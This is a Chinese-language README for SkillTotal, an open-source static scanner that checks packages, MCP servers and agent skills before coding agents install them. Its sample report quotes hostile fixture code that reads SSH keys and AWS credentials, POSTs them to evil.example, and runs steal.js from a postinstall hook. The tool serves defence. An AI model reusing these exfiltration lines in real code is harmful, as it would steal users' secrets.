SkillTotal

在编码 Agent 安装软件包前先进行检查。

一款用于扫描 npm 和 PyPI 软件包、MCP 服务、Agent 技能和代码仓库的静态安全扫描器。
在你的计算机上运行 · 绝不运行所扫描的代码 · 不使用大模型 · 每项发现都标明文件和行号

快速开始 · Claude Code 插件 · GitHub Action · CLI · 检测内容 · 在线试用

_{插件对经过清理的测试软件包给出的真实答复。未展示真实软件包。}

快速开始

pipx install skilltotal
skilltotal scan npm:express     # or pypi:name, a git URL, a folder, an archive

检查编码 Agent 安装的内容。 在 Claude Code 中：

/plugin marketplace add pezhik/skilltotal
/plugin install skilltotal@skilltotal
/reload-plugins

拦截拉取请求。 在工作流中添加一个步骤 （包含权限设置的完整示例）：

      - uses: pezhik/[email protected]
        with: { source: ., fail-on: high }

如需无需安装即可试用，www.skilltotal.ai 使用相同的引擎。

检测内容

它会扫描 npm 和 PyPI 包、MCP 服务、Agent 技能和插件、git 仓库（或包含多个仓库的文件夹）、本地文件夹、归档文件和单个文件，并查找：

它还会标记面向 Agent 的文本中隐藏的 Unicode 字符、嵌入的机密、自动批准的 MCP 工具，以及诸如读取凭据后进行网络外传的数据流。运行 skilltotal rules list 可打印所有规则；各组件类型的覆盖情况和准确性说明见 docs/detection.md。

$ skilltotal scan tests/fixtures/malicious_npm_pkg
SkillTotal Security Report
==========================
Component : evil-npm-pkg 0.0.1 (npm_package)
Source    : tests/fixtures/malicious_npm_pkg
Verdict   : HIGH - High risk - review before installing
Risk      : HIGH  (score 70/100)

Findings (3 risk, 4 capability, not scored):
  [CRITICAL] ST-COMBO-EXFIL  Sensitive-data access combined with network egress
    Evidence:
      - index.js:7
        const key = fs.readFileSync(process.env.HOME + '/.ssh/id_rsa', 'utf8');
      - steal.js:3
        const data = fs.readFileSync(process.env.HOME + '/.aws/credentials', 'utf8');
      - index.js:13
        fetch('http://evil.example/collect', { method: 'POST', body: key });
      ... and 1 more (all of them in --json)

  [HIGH] ST-INSTALL-DROPPER  Install-time hook paired with a dropper payload
    Evidence:
      - package.json:6
        "postinstall": "node steal.js"
  ...

SkillTotal 的优势

• Claude Code 插件 会在 Agent 运行命令前检查每条 npx、npm install、pip install 或 claude mcp add 命令。
• 它可在你的机器上运行，无需账户、API 令牌、上传或遥测数据，并且绝不会运行它读取的代码（网络访问）。
• 检测采用正则表达式和 AST 匹配，不使用大模型，因此相同 Python 版本下，相同输入会产生相同的发现结果和评分。每条发现都注明文件和行号，召回率和精确率均已公开。
• 零运行时依赖（仅使用 Python 标准库），便于审计、纳入项目或在隔离网络环境中运行。
• 报告包含行为特征指纹，并映射到 Cloud Security Alliance (CSA) Agentic 威胁模型、MAESTRO 层和 MITRE ATLAS 策略；发现结果带有 OWASP Agentic Skills Top 10 编号。
• 它是开源软件（Apache-2.0），完整静态分析报告永久免费。

工作原理

SkillTotal 会获取组件（浅克隆 git 仓库或下载软件包归档），读取每个文件一次，并对这些文件运行扫描器。它会关联发现结果（读取凭据并进行网络外传会形成一条数据外传路径），并将结果评为 0 到 100 分。它只检查组件自身的文件，绝不检查用户、公司、环境、部署或运行时上下文。每条已确认的发现都附有证据（文件、行范围、代码片段）；无法关联到证据的信号会归入 needs_review，且永远不会影响评分。Shell 或网络访问等能力会被报告，但评分为 0。详情见 docs/architecture.md 和 docs/scoring.md。

Claude Code 插件

在运行安装命令前，插件会在本地扫描命令中指定的每个包，并使用与 CLI 相同的引擎。它会识别 npm、pnpm、yarn、bun、npx、pip、uv、uvx、pipx、poetry 等安装命令，claude mcp add（以及 Codex 和 Gemini 的对应命令）和 npx skills add，也能识别它们被 sudo、bash -c、$(...) 或 PowerShell 包装的情况。先安装 CLI（在启动 Claude Code 的位置运行 skilltotal --version 必须正常），然后运行快速开始中的三个命令。

每条安装命令都会在控制台输出一行，说明检查了什么，或未能检查什么以及原因。在 CI 中（CI、GITLAB_CI、JENKINS_URL 等环境变量，或 SKILLTOTAL_STRICT=1），没有人可以回答，因此任何原本需要询问的情况都会被拒绝。无法检查的安装也会被拒绝，除非 SKILLTOTAL_ALLOW_UNCHECKED 列出了相应类型。

它不会检查指定包的依赖项、未安装任何包的命令（npm ci、pip install -r、uv sync；控制台会说明这一点）、磁盘上的脚本、Shell 配置文件中的别名或函数、下载的脚本（curl ... | bash，会报告为未检查）、通过 git clone 获取的仓库，也不会检查账户上已经在运行的代码（这些代码可能改写判定缓存或 CLI）。该插件只是静态检查，并非沙箱：对于你不信任的代码，请在容器中运行 Agent。它还会添加 /skilltotal:scan <target> 命令并注册 SkillTotal MCP 服务。识别的命令、设置、缓存、时序、团队推广和故障排除内容见 docs/plugin.md。

CI / GitHub Action

在 CI 中运行 SkillTotal，并在仓库的 Security → Code scanning 标签页查看检测结果。

# .github/workflows/skilltotal.yml
name: SkillTotal
on: [push, pull_request]
permissions:
  contents: read
  security-events: write   # required to upload SARIF to Code Scanning
  actions: read            # required for the SARIF upload in a private repository
jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
      - uses: pezhik/[email protected]
        with:
          source: .             # a path, a git URL, or an npm:/pypi:<name> spec
          fail-on: high         # fail on a high/critical risk finding (or 'none')

恶意指标无论严重程度如何，都会导致作业失败；单独出现某项能力（例如 Shell 调用或网络访问）则不会。日志会指出触发的门槛及其对应的检测结果。检测结果会以 SARIF 格式上传。私有仓库只有在启用 GitHub Advanced Security 后才能使用 Code Scanning；如果没有该功能，请设置 upload-sarif: 'false'。设置 comment-on-pr: 'true'（并赋予 pull-requests: write 权限）后，会持续更新一条摘要评论。系统会应用仓库中的 .skilltotal.toml，因此请将其列入 CODEOWNERS（配置）。docs/ci.md介绍了所有输入和输出、第三方包的定期重新检查、pre-commit、GitLab CI、Jenkins，以及如何在现有仓库中推广。其他可运行 Python 3.10+ 的环境中，安装固定版本并根据退出码进行门控（0 表示通过，2 表示触发门控，1 表示扫描无法运行）：

pip install skilltotal==0.85.0      # in a virtual environment outside the checkout
skilltotal scan . --fail-on high

CLI

skilltotal scan ./path/to/component           # a folder, archive, file, git URL, npm:name or pypi:name
skilltotal scan ./component --json            # JSON to stdout
skilltotal scan ./component --sarif --output report.sarif
skilltotal scan ./component --fail-on high    # exit 2 on a high/critical risk finding
skilltotal scan ./component --write-baseline .skilltotal-baseline.json
skilltotal scan ./component --baseline .skilltotal-baseline.json --fail-on-high
skilltotal diff npm:[email protected] npm:[email protected] --fail-on-new high
skilltotal guard npm:some-mcp-server          # exit 2 if it should not be installed
skilltotal guard --installed                  # check the MCP servers, plugins and skills your agents use
skilltotal inventory --sbom                   # AI-BOM: CycloneDX 1.6 JSON of your agent stack
skilltotal rules list

单独运行 scan 时，无论检测到什么情况（即使判定为恶意），退出码始终为 0。在脚本中，请使用 skilltotal guard 或门控选项（--fail-on），并检查退出码。CLI 参考介绍了所有标志、退出码和门控规则。

MCP 服务

skilltotal mcp 会将引擎作为 stdio MCP 服务运行，让你的 Agent 在安装组件前检查它。Claude Code 插件已自动注册该服务。在未安装插件的 Claude Code 中：

claude mcp add skilltotal -- skilltotal mcp

对于 Claude Desktop、Cursor、Windsurf 或任何读取 mcpServers 的客户端：

{ "mcpServers": { "skilltotal": { "command": "skilltotal", "args": ["mcp"] } } }

它提供三个只读工具：scan_component（本地路径、git URL、npm: 或 pypi: 源）、diff_components（两个版本之间的变更）和 list_rules。VS Code、uvx/npx 用法和路径规则请参阅 docs/mcp-server.md。

安装

需要 Python 3.10+，且没有运行时依赖。只有在扫描远程 URL 和使用 scan --staged 时才需要 git。在不可信目录中扫描以及其他安装详情，请参阅 docs/cli.md。

pipx install skilltotal      # recommended for the CLI; then `pipx ensurepath` if it is not found
pip install skilltotal       # into a virtual environment, or to use it as a library

使用 npx 时（需要 uv、pipx，或安装了 skilltotal 的 Python 3.11+），请使用 --package 指定发行版本，避免 npx 运行被扫描仓库的 node_modules/.bin 中的 skilltotal：

npx -y [email protected] -- skilltotal scan https://github.com/owner/repo

用数据衡量，而非口头宣称

• 检测效果： 在我们构建并公开发布的带标签语料库（148 个恶意样本和 111 个良性样本）上测得的召回率和精确率；每次发布都会重新生成，并由 CI 将其作为底线加以保障。在我们自己的语料库上取得完美分数可防止回归，但这并不代表能检测现实世界中的所有攻击。 调查中 OWASP 类别计数所依据的每条规则也都有自己的带标签样本，详见报告的规则覆盖表。
• 已扫描的 MCP 注册表 （2026 年 9 月，引擎 0.49.0，规则集 56 至 59；未反映之后的规则变更）：官方注册表中 17,535 个不同组件里有 15,341 个（87.5%）。在已扫描的组件中，88.2% 会向 Agent 暴露工具，64.8% 可以访问网络，21.1% 可以执行 shell 命令。 尽管如此，除 116 个之外，其余组件的风险评分都较低，因为单独的能力不会得分。在本次扫描之前，我们人工检查了早先一次扫描中所有恶意指标命中项，并修正了误报。 汇总数据（JSON） · 测试工具。

局限性

• 不会读取超过 2 MiB 的文件。 会列出但不分析压缩后的 JavaScript/TypeScript 包，但 npm 在安装时运行的脚本除外。此时，较低的判定结果会显示为“部分已分析”。
• 不会扫描依赖项。 会跳过 node_modules/、vendor/ 和虚拟环境。
• 不会分析运行时获取或生成的代码，也不会分析二进制文件和编译产物。
• 语言。 对 Python 和 JavaScript/TypeScript 中的 Shell 执行、网络访问、文件访问和动态代码进行分析。检查 Shell、PowerShell 和批处理脚本中下载并运行、解码并运行以及规避检测的惯用写法。对于其他语言，只检查机密信息、敏感路径和隐藏 Unicode 字符。
• 默认门禁不会将未读取的代码计入检测结果，而且未读取的代码绝不会悄然通过：日志会列出相关内容（Not everything was analyzed: ...），判定结果会显示为“部分已分析”，并且 --fail-on-unanalyzed 会因存在此类代码而失败。这适用于超过 2 MiB 的文件、压缩包、未进行行为分析的语言中的代码，以及随包发布但没有源文件的编译代码（例如旁边没有同名 .py 或 .java 文件的 .pyc、.pyo 或 .class 文件）。
• 检测以调用/导入为粒度。 检出某种能力只说明代码中存在该能力，不代表它被滥用。SkillTotal 不能替代沙箱、渗透测试或人工代码审查。

有关该引擎如何应对 2026 年 6 月发布的四种绕过手段，请参阅我们能检测到什么。 完整列表见 docs/detection.md。

配置

提交 .skilltotal.toml，即可无需重复设置标志来配置门禁级别、排除项、忽略的规则、基准文件，以及每条规则的 block / warn / ignore 策略。要接受单条发现结果，请添加内联注释 skilltotal:ignore[ST-ID]。限制和注册表镜像通过 SKILLTOTAL_* 环境变量设置。在 CI 中，扫描的仓库自身配置和标记会生效，因此请在启用分支保护的情况下，将 .skilltotal.toml 和基准文件纳入 CODEOWNERS 管理（docs/configuration.md）。

网络访问

扫描本地文件夹、归档或文件时不会发出网络请求。SkillTotal 仅在以下情况下联网：

• git URL： 执行 git clone --depth 1；对于 github.com，会先调用 GitHub REST API（api.github.com）检查待克隆内容的大小
• npm: / pypi: 源： 从 registry.npmjs.org 或 PyPI（pypi.org 及其文件主机）获取软件包元数据和归档，或从你的镜像获取（SKILLTOTAL_NPM_REGISTRY、SKILLTOTAL_PYPI_INDEX）
• --provenance： 获取软件包的注册表元数据
• inventory、guard --installed、Claude Code 插件和 MCP 服务： 从相同的注册表和 git 主机获取其所检查软件包的信息

它不会发送遥测数据，无需账户，也不会调用大模型。

开源版与 SkillTotal Cloud

此引擎（分析功能、所有检测规则和 CLI）是开源的，并且功能完整，可免费在本地或 CI 中运行。SkillTotal Cloud 计划提供基于此引擎的付费服务端功能；其代码不属于此代码库（docs/open-core.md）。

文档

贡献、安全与许可证

开发环境设置：pip install -e ".[dev]"，然后运行 pytest。检测规则采用先构建语料库的方式添加（docs/contributing-rules.md）。 请通过 issue 报告误报；我们会公开修复这些问题。 安全问题： SECURITY.md。

Apache-2.0，另请参阅 NOTICE。